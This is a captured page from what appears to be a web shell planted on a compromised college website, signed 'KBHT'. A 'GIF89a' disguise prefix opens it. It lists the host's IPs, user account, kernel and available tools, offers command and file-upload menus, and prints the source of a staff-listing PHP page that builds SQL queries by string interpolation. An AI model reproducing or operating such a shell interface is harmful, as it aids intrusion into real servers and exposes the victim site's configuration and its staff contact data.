GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.138.124.123
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/assets/wow/../../../web/cgi-bin/../pdf/../js/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/assets/wow/../../../web/cgi-bin/../pdf/../js/../teacher.php
<?php
include("admin/connection.php");
$query="select * from tbl_teacher";

$res=mysqli_query($dbCon,$query);

?>

	<!-- Header Start -->
	<?php
		include("headernew.php");
	?>
	<!-- Header End -->
	<!-- Inner Banner Wrapper Start -->
		<div class="inner-banner">
			<div class="container">
				<div class="col-sm-12">
					<h2>Teaching Staff</h2>
				</div>
				<div class="col-sm-12 inner-breadcrumb">
					<ul>
						<li><a href="index.html">Home</a></li>
						<li>Teaching Staff</li>
					</ul>
				</div>
			</div>
		</div>
	<!-- Inner Banner Wrapper End -->

	<section class="inner-wrapper">
	  <div class="container">
		<div class="row offset">
		  <h2>Associate Professor's & <span>Professor's</span></h2>
		  <div class="inner-wrapper-main offset-top-30">
			<div class="col-sm-12 col-sm-offset col-xs-offset table-responsive">
			  <table class="table-custom striped table-color">	
				<tbody>
				  <tr>
					<th>S.No.</th>
					<th>Pic</th>
					<th>Faculty Name</th>
					<th>Designation</th>
					<th>Department</th>
					<th>Highest Qualification</th>
					<th>Mobile No.</th>
					<th>Email Id</th>
				  </tr>
				  <?php 
				  $a=1;
				 while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
				  {
				  ?>
				  <tr>
					 <td><?php echo $a;$a++;?></td>
					 <td>
						  <img src="admin/teacher/<?php echo $row['pic'];?>" height="100" width="100" />
					 </td>
						  <td><?php echo $row['name'];?></td>
						  <td><?php echo $row['designation'];?></td>
						  <?php
							$dept=$row['dept_id'];
							$query2="select * from tbl_department where dept_id='$dept'";
							$res2=mysqli_query($dbCon,$query2);
							if($row2=mysqli_fetch_array($res2,MYSQLI_BOTH))
							{
								$department=$row2['dept_name'];
							}
							?>
						  <td><?php echo $department;?></td>
						  <td><?php echo $row['qualification'];?></td>
						  <td><?php echo $row['mobile'];?></td>
						  <td><?php echo $row['email'];?></td>
				  </tr>
				  <?php
				  }
				  ?>
				  
				  
				</tbody>
			  </table>
			</div>
		  </div>
		</div>
	  </div>
	</section>
	
	<!-- Footer Links Start-->
	<?php include 'footernew.php';?>

KBHT - 2023